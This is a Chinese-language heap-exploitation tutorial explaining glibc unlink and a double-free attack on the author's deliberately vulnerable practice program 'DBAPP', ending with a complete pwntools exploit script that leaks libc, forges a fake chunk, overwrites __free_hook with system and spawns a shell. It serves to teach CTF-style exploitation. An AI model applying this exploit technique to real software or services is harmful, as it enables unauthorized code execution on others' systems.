堆利用之double-free

本文稿费200软妹币

砸个广告:各位在网络安全方面有新创作的小伙伴,快将你们的心得砸过来吧~

文章以word形式发至邮箱:

minwei.wang@dbappsecurity.com.cn

有偿投稿,记得留下你的姓名联系方式哦~

-START-

自己一直没有总结知识的习惯,这次算是特例了,从这一篇开始,我将目前我所知道的堆利用知识一一做一下总结。

前言

这里只对堆利用技巧做相关总结,相关基础知识请大家自己补充。以下内容都假设读者已经掌握linux下堆基础知识,不清楚的请参考[glibc内存管理ptmalloc源代码分析]

(https://github.com/moonAgirl/pwnstudy/tree/master/resource)

先了解一下unlink

在free一块堆chunk内存时,会查看该块前后相邻的两块是否空闲,如果空闲的话则把他们从原来的链表上卸载出来和当前块合并在一起。分为向前合并和向后合并。 向前合并:

查看下一个块是不是空闲的 – 下一个块是空闲的,如果下下个块(距离当前空闲块)的PREV_INUSE(P)位没有设置(值为0)。为了访问下下个块,将当前块的大小加到它的块指针,再将下一个块的大小加到下一个块指针。 如果是空闲的,使用unlink操作合并它。将合并后的块添加到 unsorted bin 中。

向后合并:

查看前一个块是不是空闲的 –如果当前空闲块的PREV_INUSE(P)位为0, 则前一个块是空闲的。如果空闲,合并它。

unlink操作如下:

FD = P->fd; BK = P->bk; FD->bk = BK; BK->fd = FD;

假设执行free(q),对于向前合并,p就是指向q这个chunk块,对于向后合并,p指向的是q的前一个chunk块

unlink还需要过一个检查,如下:

(P->fd)->bk == (P->bk)->fd ?

即判断当前这个chunk P的后一个chunk的前一个chunk与当前这个chunk P的前一个chunk 的后一个chunk是不是同一个chunk(即P)

再谈double-free漏洞原理

Double Free其实就是同一个指针free两次。虽然一般把它叫做double free。其实只要是free一个指向堆内存的指针都有可能产生可以利用的漏洞。double free的原理其实和堆溢出的原理差不多,都是通过unlink这个双向链表删除的宏来利用的。只是double free需要由自己来伪造整个chunk并且欺骗操作系统。 下面用我自己写的一个漏洞百出的程序来讲解一下double-free的利用细节(本系列都将基于以下这个程序来进行,程序及源码下载地址在这里(https://github.com/moonAgirl/pwnstudy/tree/master/Article/Files/Heaps)。

一个简单的列子-DBAPP

先用ida打开DBAPP分析,通过分析,可以看出这个程序包含以下几个功能: 1.show the items in the App 2.add a new item 3.change the item in the App 4.remove the item in the App 5.exit

show_item

for ( i = 0; i <= 99; ++i ) { if ( Apps[2 * i] ) printf("%d : %s", (unsigned int)i, Apps[2 * i]); }

将Apps[2*i]指向的内容打印出来。

add_item

printf("Please enter the length of item name:"); read(0, &length, 8uLL); v2 = atoi(&length); for ( i = 0; i <= 99; ++i ) { if ( !Apps[2 * i] ) { *((_DWORD *)&itemlist + 4 * i) = v2; Apps[2 * i] = malloc(v2); printf("Please enter the name of item:"); read(0, (void *)Apps[2 * i], v2) = 0; ++tatol_nums; return 0LL; } }

申请一块用户自定义长度的堆块,将堆块指针保存在全局变量Apps[2*i]中

change_item

printf("Please enter the index of item:"); read(0, &buf, 8uLL); v2 = atoi(&buf); if ( Apps[2 * v2] ) { printf("Please enter the length of item name:", &buf); read(0, &nptr, 8uLL); v0 = atoi(&nptr); printf("Please enter the new name of the item:", &nptr); read(0, Apps[2 * v2], v0); }

重写用户指定的堆块,写入长度也由用户自定义

remove_item

if ( tatol_nums ) { printf("Please enter the index of item:"); read(0, &buf, 8uLL); v1 = atoi(&buf); if ( Apps[2 * v1] ) { free(Apps[2 * v1]); *(&itemlist + 4 * v1) = 0; puts("remove successful!!"); --tatol_nums; }

将用户指定的堆块释放。

大家应该已经发现了,在重写堆内容时可以写入用户自定义长度的内容,这是一个漏洞;另外在free堆块时,没有将全局变量里的堆指针清0,这是另一个漏洞。好清记住这两个漏洞,下面开始利用double-free进行漏洞利用。

double-free漏洞利用

首先泄露libc地址,并计算相关函数地址

Add(0x80,'AAAA') #0 Add(0x100,'AAAA') #1 Add(0x10,'AAAA') #2 Delete(1) Add(0xD0,'AAAAAAAA') #3 Show() io.recvuntil('3 : AAAAAAAA') data = u64(io.recv(6).ljust(8,'\x00')) libc_base = data - malloc_hook_libc - 0x168 free_hook_addr = free_hook + libc_base system_addr = system_libc + libc_base success('libc_base:'+hex(libc_base)) success('free_hook_addr:'+hex(free_hook_addr)) success('system_addr:'+hex(system_addr))

再申请两个堆块。

Add(0x100,'BBBB') #5 Add(0x100,'BBBB') #6

此时堆内情况如下:

再将5,6号堆块free掉

Delete(5) Delete(6)

此时再申请一块大小为5,6之和的堆块7,而申请的堆块7正是之前释放的5,6号堆块所在位置,如下:

我们在7号堆块内写入如下内容

payload = p64(0) + p64(0x101) payload += p64(0x6020F8 - 0x18) + p64(0x6020F8 - 0x10) payload += 'a'*(0x100 - 4*8) payload += p64(0x100) + p64(0x110)

解释一下上面这个payload

payload = p64(0) + p64(0x101) payload += p64(0x6020F8 - 0x18) + p64(0x6020F8 - 0x10) payload += 'a'*(0x100 - 4*8)

这部分是在堆块7与堆块5共享的数据部分伪造了一个fake_chunk,将fake-chunk的pre_size设置为0,size设置为0x100,fd域设置为0x6020F8 - 0x18,bk域设置为0x6020F8 - 0x10,这里这是为什么呢?0x6020F8为bss段中存储堆块5首地址的一块地址,我们在这里这样设置可以在之后的unlink操作中绕过**(P->fd)->bk == (P->bk)->fd ?** 这一判断。

payload += p64(0x100) + p64(0x110)

这部分是将堆块7与堆块6共享的部分将chunk 6的pre_size域改为0x100,size域改为0x110

最终堆内存布局如下:

之后再将chunk 6 free一次,造成double-free,触发unlink向后合并 Delete(6) 由于我们已经设置了fd和bk,unlink成功,最终bss中保存chunk 5堆块地址 heap_5 处变为 heap_5 - 0x18,如下图

于是我们编辑堆块5将保存堆块4地址的bss处覆盖为free_hook地址 Change(5,17,p64(0)+p64(free_hook_addr)) 再编辑堆块4,将free_hook处写入system地址 Change(4,17,p64(system_addr)*2) 然后free一块保存有'/bin/sh'字符串的堆块,就相当于执行system(‘/bin/sh\x00')了 Delete(0) get shell!

完整脚本如下:

# coding:utf-8 from pwn import * libc = ELF("/home/moonagirl/moonagirl/libc/libc_local_x64") LOCAL = 1 if LOCAL: io = process('./DBAPP')#,env={"LD_PRELOAD":"./libc-2.24.so"}) context.log_level = 'debug' else: io = remote("39.107.33.43", 13570) def z(a=''): gdb.attach(io,a) if a == '': raw_input() def mmenu(choice): io.recvuntil("Your choice:") io.sendline(choice) def Add(length,name): mmenu('2') io.recvuntil('Please enter the length of item name:') io.sendline(str(length)) io.recvuntil('Please enter the name of item:') io.send(name) def Show(): mmenu('1') def Delete(index): mmenu('4') io.recvuntil('Please enter the index of item:') io.sendline(str(index)) def Change(index,length,name): mmenu('3') io.recvuntil('Please enter the index of item:') io.sendline(str(index)) io.recvuntil('Please enter the length of item name:') io.sendline(str(length)) io.recvuntil('Please enter the new name of the item:') io.sendline(name) Apps_addr = 0x00000000006020A8 system_libc = libc.symbols['system'] free_hook = libc.symbols['__free_hook'] malloc_hook_libc = libc.symbols['__malloc_hook'] def pwnit(): #leak libc_base and calc some useful addr Add(0x80,'/bin/sh\x00') #0 Add(0x100,'AAAA') #1 Add(0x10,'AAAA') #2 Delete(1) Add(0xD0,'AAAAAAAA') #3 Show() io.recvuntil('3 : AAAAAAAA') data = u64(io.recv(6).ljust(8,'\x00')) success('data:'+hex(data)) libc_base = data - malloc_hook_libc - 0x168 #00007F6BD95B8C78 libc_2.23.so:__malloc_hook+168 free_hook_addr = free_hook + libc_base system_addr = system_libc + libc_base success('free_hook_addr:'+hex(free_hook_addr)) success('system_addr:'+hex(system_addr)) Add(0x20,'AAAA') #4 Add(0x100,'BBBB') #5 Add(0x100,'BBBB') #6 Delete(5) Delete(6) # z() payload = p64(0) + p64(0x101) payload += p64(0x6020F8 - 0x18) + p64(0x6020F8 - 0x10) payload += 'a'*(0x100 - 4*8) payload += p64(0x100) + p64(0x110) + p64(0)*2 Add(0x100+0x100+0x10,payload) #7 # z() Delete(6) # z() Change(5,17,p64(0)+p64(free_hook_addr)) Change(4,17,p64(system_addr)*2) Delete(0) io.interactive() if __name__ == "__main__": pwnit()

总结

需要理解unlink,如果我这里没解释清楚,大家可以去寻找一下其他资料。double-free重要的是需要寻找一块保存当前堆块的内存地址。

-END-

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-05-31

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Hongten

JSP 三讲

481
来自专栏xingoo, 一个梦想做发明家的程序员

Nodejs·内存控制

之前有考虑过Node中的内存管理,但是没想到Node的内存机制与JVM如此相像。 看完这部分的内容,基本可以了解Node中的内存使用技巧: 1 尽量不要做...

1927
来自专栏owent

C++又一坑:动态链接库中的全局变量

前几天我们项目的日志系统出现了一点问题,但是一直没有时间去深究。 昨天在同事的帮助下,无意中猜了一种可能性,结果还真被我猜中了,于是今天就特别研究了一下,记录...

833
来自专栏iOS开发日记

iOS开发系列——Storyboard

到目前为止我们还没有解释我们的程序是如何显示默认视图界面的。做过WinForm程序的朋友都知道每个Window窗口界面都有一个设计器(对应一个设计文件),其实在...

3224
来自专栏小怪聊职场

爬虫课堂(二十五)|使用CrawlSpider、LinkExtractors、Rule进行全站爬取

2196
来自专栏有趣的Python

5- vue django restful framework 打造生鲜超市 -完成商品列表页(上)

使用Python3.6与Django2.0.2(Django-rest-framework)以及前端vue开发的前后端分离的商城网站 项目支持支付宝支付(...

4216
来自专栏C/C++基础

C/C++头文件的作用和用法

示例代码编译运行环境:Windows 64bits+VS2017+Debug+Win32。

911
来自专栏Kotlin源码阅读

Kotlin源码阅读——system模块

在kotlin的源码目录里,每个模块都有相应的md文件,做以说明。在kotlin最主要的stdlin/src目录下有一个Module.md:

1013
来自专栏Java成神之路

js_调试_01_14 个你可能不知道的 JavaScript 调试技巧

了解你的工具在完成任务时有很重要的意义。 尽管 JavaScript 是出了名的难以调试,但是如果你掌握了一些小技巧,错误和 bug 解决起来就会快多了。

643
来自专栏有趣的django

CRM客户关系管理系统(十三) 第十三章、用户自定义认证第十四章、万能通用权限框架设计

2390

扫码关注云+社区